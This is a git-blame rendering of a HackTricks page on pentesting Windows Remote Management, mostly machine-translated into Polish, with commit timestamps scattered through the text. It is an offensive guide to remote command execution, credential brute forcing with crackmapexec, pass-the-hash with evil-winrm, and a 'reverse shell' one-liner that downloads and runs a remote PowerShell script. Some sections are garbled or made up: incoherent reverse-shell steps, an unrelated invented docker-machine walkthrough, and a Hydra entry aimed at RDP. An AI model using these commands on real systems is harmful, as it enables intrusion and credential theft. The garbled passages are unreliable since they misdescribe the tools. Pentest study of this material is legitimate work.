hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

417 lines
21 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# 5985,5986 - Testowanie penetracyjne WinRM
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 11:42:55 +01:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2023-12-04 16:45:05 +01:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
**Spostrzeżenia dotyczące hakerstwa**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
**Aktualności na żywo z hakerstwa**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
2023-07-14 17:03:41 +02:00
2024-02-11 01:46:25 +00:00
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
2023-07-14 17:03:41 +02:00
2024-02-11 01:46:25 +00:00
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
2024-02-11 01:46:25 +00:00
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) jest **protokołem opracowanym przez Microsoft**, który umożliwia **zdalne zarządzanie systemami Windows** za pomocą HTTP(S), wykorzystując SOAP w procesie. Jest zasadniczo oparty na WMI i prezentuje się jako interfejs oparty na HTTP do operacji WMI.
2024-02-11 01:46:25 +00:00
Obecność WinRM na maszynie umożliwia łatwe zdalne zarządzanie za pomocą PowerShell, podobnie jak SSH działa w innych systemach operacyjnych. Aby sprawdzić, czy WinRM jest aktywny, zaleca się sprawdzenie otwarcia określonych portów:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
2024-02-11 01:46:25 +00:00
Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, umożliwiając próby rozpoczęcia sesji zdalnej.
2024-02-11 01:46:25 +00:00
### **Rozpoczęcie sesji WinRM**
2024-02-11 01:46:25 +00:00
Aby skonfigurować PowerShell dla WinRM, używamy polecenia `Enable-PSRemoting` firmy Microsoft, które konfiguruje komputer do akceptowania zdalnych poleceń PowerShell. Mając podniesione uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i wyznaczyć dowolny host jako zaufany:
2024-02-08 22:36:35 +01:00
```powershell
2024-02-11 01:46:25 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
2024-02-11 01:46:25 +00:00
To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, co wymaga ostrożnego rozważenia ze względu na jego implikacje. Zauważono również, że może być konieczne zmienienie typu sieci z "Publiczna" na "Praca" na maszynie atakującego.
2024-02-11 01:46:25 +00:00
Ponadto, WinRM można **aktywować zdalnie** za pomocą polecenia `wmic`, jak pokazano poniżej:
2024-02-08 22:36:35 +01:00
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
2024-02-11 01:46:25 +00:00
Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność zarządzania maszynami z systemem Windows z daleka.
2024-02-11 01:46:25 +00:00
### Sprawdź, czy jest skonfigurowane
2024-02-08 22:36:35 +01:00
2024-02-11 01:46:25 +00:00
Aby zweryfikować konfigurację maszyny atakującej, używane jest polecenie `Test-WSMan`, które sprawdza, czy docelowy system ma poprawnie skonfigurowany WinRM. Wykonując to polecenie, powinieneś otrzymać szczegóły dotyczące wersji protokołu i wsmid, co wskazuje na poprawną konfigurację. Poniżej znajdują się przykłady przedstawiające oczekiwane wyniki dla skonfigurowanego celu i nieskonfigurowanego:
2024-02-08 22:36:35 +01:00
2024-02-11 01:46:25 +00:00
- Dla celu, który **jest** poprawnie skonfigurowany, wynik będzie wyglądał podobnie jak:
2024-02-08 22:36:35 +01:00
```bash
Test-WSMan <target-ip>
```
2024-02-11 01:46:25 +00:00
Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza, że WinRM jest poprawnie skonfigurowany.
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (161) (1).png>)
2024-02-11 01:46:25 +00:00
- W przypadku celu **nie** skonfigurowanego dla WinRM, nie będzie takich szczegółowych informacji, co wskazuje na brak poprawnej konfiguracji WinRM.
2024-02-08 22:36:35 +01:00
![](<../.gitbook/assets/image (162).png>)
2024-02-11 01:46:25 +00:00
### Wykonaj polecenie
2024-02-11 01:46:25 +00:00
Aby zdalnie wykonać polecenie `ipconfig` na maszynie docelowej i wyświetlić jego wynik, wykonaj:
2024-02-08 22:36:35 +01:00
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (163) (1).png>)
2024-02-11 01:46:25 +00:00
Możesz również **wykonać polecenie z bieżącej konsoli PS za pomocą** _**Invoke-Command**_. Załóżmy, że masz lokalnie funkcję o nazwie _**enumeration**_ i chcesz ją **wykonać na zdalnym komputerze**, możesz to zrobić:
2024-02-08 22:36:35 +01:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
2024-02-11 01:46:25 +00:00
### Wykonaj skrypt
2024-02-11 01:46:25 +00:00
To execute a script on a target machine using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.
2024-02-08 22:36:35 +01:00
```powershell
2024-02-11 01:46:25 +00:00
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
```
2024-02-11 01:46:25 +00:00
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.1.100`, you would use the following command:
2024-02-08 22:36:35 +01:00
```powershell
2024-02-11 01:46:25 +00:00
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock { C:\path\to\script.ps1 }
```
Make sure to provide the correct path to the script on the target machine.
This method can be useful for automating tasks or executing commands on multiple machines simultaneously.
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
2024-02-11 01:46:25 +00:00
### Uzyskaj odwróconą powłokę
2024-02-11 01:46:25 +00:00
Aby uzyskać odwróconą powłokę, możesz wykorzystać narzędzie `winrm` do zdalnego wykonywania poleceń na maszynie docelowej. Poniżej przedstawiono kroki, które należy podjąć:
2024-02-11 01:46:25 +00:00
1. Upewnij się, że masz dostęp do maszyny docelowej i zainstaluj narzędzie `winrm` na swoim systemie.
2. Skonfiguruj `winrm` na maszynie docelowej, aby umożliwić zdalne wykonywanie poleceń. Możesz to zrobić za pomocą polecenia `winrm quickconfig` lub ręcznie konfigurując usługę `winrm`.
3. Sprawdź, czy `winrm` jest aktywny na maszynie docelowej, wykonując polecenie `winrm enumerate winrm/config/Listener`.
4. Jeśli `winrm` jest aktywny, użyj narzędzia `winrs` lub `winrm` na swoim systemie, aby nawiązać połączenie z maszyną docelową. Na przykład, jeśli chcesz użyć narzędzia `winrs`, wykonaj polecenie `winrs -r:http://<adres_ip>:5985 -u:<użytkownik> -p:<hasło> <polecenie>`, gdzie `<adres_ip>` to adres IP maszyny docelowej, `<użytkownik>` to nazwa użytkownika, a `<hasło>` to hasło użytkownika.
5. Po nawiązaniu połączenia możesz wykonywać polecenia na maszynie docelowej, takie jak uruchamianie powłoki odwróconej. Na przykład, jeśli chcesz uruchomić powłokę odwróconą `cmd.exe`, wykonaj polecenie `cmd.exe`.
2024-02-11 01:46:25 +00:00
Pamiętaj, że uzyskanie odwróconej powłoki na maszynie docelowej jest nielegalne, jeśli nie masz uprawnienia do tego. Upewnij się, że działasz zgodnie z prawem i posiadasz odpowiednie uprawnienia przed przeprowadzeniem testów penetracyjnych.
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Uzyskaj sesję PS
Aby uzyskać interaktywną powłokę PowerShell, użyj polecenia `Enter-PSSession`:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2024-02-11 01:46:25 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
2024-02-11 01:46:25 +00:00
**Sesja zostanie uruchomiona w nowym procesie (wsmprovhost) wewnątrz "ofiary"**
2024-02-11 01:46:25 +00:00
### **Wymuszanie otwarcia WinRM**
2024-02-11 01:46:25 +00:00
Aby korzystać z PS Remoting i WinRM, ale komputer nie jest skonfigurowany, można go włączyć za pomocą:
2024-02-08 22:36:35 +01:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2024-02-11 01:46:25 +00:00
### Zapisywanie i przywracanie sesji
2024-02-11 01:46:25 +00:00
To **nie zadziała**, jeśli **język** jest **ograniczony** na zdalnym komputerze.
2024-02-08 22:36:35 +01:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
2024-02-11 01:46:25 +00:00
Wewnątrz tych sesji możesz załadować skrypty PS za pomocą _Invoke-Command_
2024-02-08 22:36:35 +01:00
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2024-02-11 01:46:25 +00:00
### Błędy
2024-02-11 01:46:25 +00:00
Jeśli napotkasz następujący błąd:
2024-02-11 01:46:25 +00:00
`enter-pssession : Połączenie z zdalnym serwerem 10.10.10.175 nie powiodło się z następującą wiadomością o błędzie: Klient WinRM nie może przetworzyć żądania. Jeśli schemat uwierzytelniania różni się od Kerberos lub jeśli komputer klienta nie jest dołączony do domeny, należy użyć transportu HTTPS lub dodać maszynę docelową do ustawienia konfiguracji TrustedHosts. Użyj polecenia winrm.cmd, aby skonfigurować TrustedHosts. Należy zauważyć, że komputery znajdujące się na liście TrustedHosts mogą nie być uwierzytelnione. Więcej informacji na ten temat można uzyskać, wykonując następujące polecenie: winrm help config. Aby uzyskać więcej informacji, zobacz temat Pomoc dotyczący rozwiązywania problemów związanych z zdalnym dostępem (about_Remote_Troubleshooting).`
2024-02-11 01:46:25 +00:00
Spróbuj na kliencie (informacje z [tutaj](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
2023-12-04 16:45:05 +01:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
2022-10-27 23:22:18 +00:00
2024-02-11 01:46:25 +00:00
**Wgląd w Hacking**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
**Aktualności na żywo o Hackingu**\
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i wglądowi
2023-07-14 17:03:41 +02:00
2024-02-11 01:46:25 +00:00
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
2022-10-27 23:22:18 +00:00
2024-02-11 01:46:25 +00:00
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
2024-02-11 01:46:25 +00:00
## Połączenie WinRM w systemie Linux
2020-09-20 21:44:41 +00:00
2024-02-11 01:46:25 +00:00
### Atak Brute Force
2020-09-20 21:41:33 +00:00
2024-02-11 01:46:25 +00:00
Bądź ostrożny, atak brute-force na WinRM może zablokować użytkowników.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 13:49:36 +01:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 13:49:36 +01:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2024-02-11 01:46:25 +00:00
### Używanie evil-winrm
2020-09-20 21:41:33 +00:00
2024-02-11 01:46:25 +00:00
Evil-winrm to narzędzie, które umożliwia zdalne wykonywanie poleceń na zdalnym serwerze Windows, wykorzystując protokół WinRM (Windows Remote Management). Działa podobnie jak narzędzie PowerShell Remoting, ale oferuje dodatkowe funkcje i ułatwienia.
2024-02-11 01:46:25 +00:00
Aby użyć evil-winrm, należy najpierw zainstalować go na swoim systemie. Można to zrobić za pomocą narzędzia RubyGems, wykonując polecenie:
```
gem install evil-winrm
```
2024-02-11 01:46:25 +00:00
Po zainstalowaniu narzędzia, można go uruchomić, podając odpowiednie parametry, takie jak adres IP lub nazwa hosta zdalnego serwera, nazwa użytkownika i hasło. Przykładowe polecenie wygląda następująco:
2024-02-11 01:46:25 +00:00
```
evil-winrm -i <adres_IP_lub_nazwa_hosta> -u <nazwa_użytkownika> -p <hasło>
```
2024-02-11 01:46:25 +00:00
Po nawiązaniu połączenia z serwerem, można wykonywać polecenia na zdalnym systemie Windows, takie jak przeglądanie plików, uruchamianie skryptów, zmiana ustawień systemowych itp.
2024-02-11 01:46:25 +00:00
Evil-winrm oferuje również funkcje takie jak przesyłanie plików między lokalnym systemem a zdalnym serwerem, zdalne wykonywanie poleceń w tle oraz interaktywny tryb sesji, który umożliwia interakcję z systemem zdalnym w czasie rzeczywistym.
2024-02-11 01:46:25 +00:00
Należy jednak pamiętać, że używanie evil-winrm do nieautoryzowanego dostępu do systemów jest nielegalne i narusza prywatność innych osób. Narzędzie to powinno być używane wyłącznie w celach pentestingu lub w ramach legalnych działań związanych z administracją systemów.
```ruby
gem install evil-winrm
```
Przeczytaj **dokumentację** na jego githubie: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Aby użyć evil-winrm do połączenia z adresem IPv6, utwórz wpis wewnątrz **/etc/hosts**, ustawiając nazwę domeny na adres IPv6, a następnie połącz się z tą domeną.
### Przekazanie skrótu hasła z użyciem evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
2024-02-11 01:46:25 +00:00
### Używanie maszyny PS-docker
To use a PS-docker machine, you need to have Docker installed on your system. Docker is a platform that allows you to automate the deployment and management of applications using containers. Once you have Docker installed, you can follow the steps below to set up and use a PS-docker machine for pentesting purposes.
1. First, create a new PS-docker machine by running the following command:
```
docker-machine create --driver hyperv --hyperv-virtual-switch "Virtual Switch" ps-docker
```
This command will create a new PS-docker machine using the Hyper-V driver and the specified virtual switch.
2. Once the machine is created, you can start it by running the following command:
```
docker-machine start ps-docker
```
2024-02-11 01:46:25 +00:00
This command will start the PS-docker machine.
2024-02-11 01:46:25 +00:00
3. To connect to the PS-docker machine, run the following command:
2024-02-11 01:46:25 +00:00
```
docker-machine env ps-docker | Invoke-Expression
```
This command will set the environment variables required to connect to the PS-docker machine.
4. Finally, you can use the PS-docker machine by running the following command:
```
docker run -it --rm mcr.microsoft.com/powershell
```
This command will start a PowerShell container on the PS-docker machine.
By following these steps, you can set up and use a PS-docker machine for pentesting purposes. This allows you to leverage the power of Docker and PowerShell for your hacking activities.
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
2024-02-11 01:46:25 +00:00
### Używanie skryptu ruby
2024-02-11 01:46:25 +00:00
**Kod wydobyty stąd: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 03:28:59 +01:00
# https://alamot.github.io/winrm_shell/
2024-02-11 01:46:25 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2024-02-11 01:46:25 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2024-02-11 01:46:25 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2024-02-11 01:46:25 +00:00
## Referencje
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
2024-02-11 01:46:25 +00:00
## Automatyczne polecenia HackTricks
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 13:09:57 -04:00
Entry_1:
2024-02-11 01:46:25 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 13:09:57 -04:00
2024-02-11 01:46:25 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 13:09:57 -04:00
2024-02-11 01:46:25 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 13:09:57 -04:00
2024-02-11 01:46:25 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 13:09:57 -04:00
2024-02-11 01:46:25 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 13:09:57 -04:00
2024-02-11 01:46:25 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 11:49:25 -04:00
Entry_2:
2024-02-11 01:46:25 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
2023-12-04 16:45:05 +01:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 17:03:41 +02:00
2024-02-11 01:46:25 +00:00
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
**Spostrzeżenia dotyczące hakerstwa**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa.
2022-10-27 23:22:18 +00:00
2024-02-11 01:46:25 +00:00
**Aktualności na żywo o hakerstwie**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom.
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy.
2023-02-27 10:28:45 +01:00
2024-02-11 01:46:25 +00:00
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakerstwa AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 11:42:55 +01:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>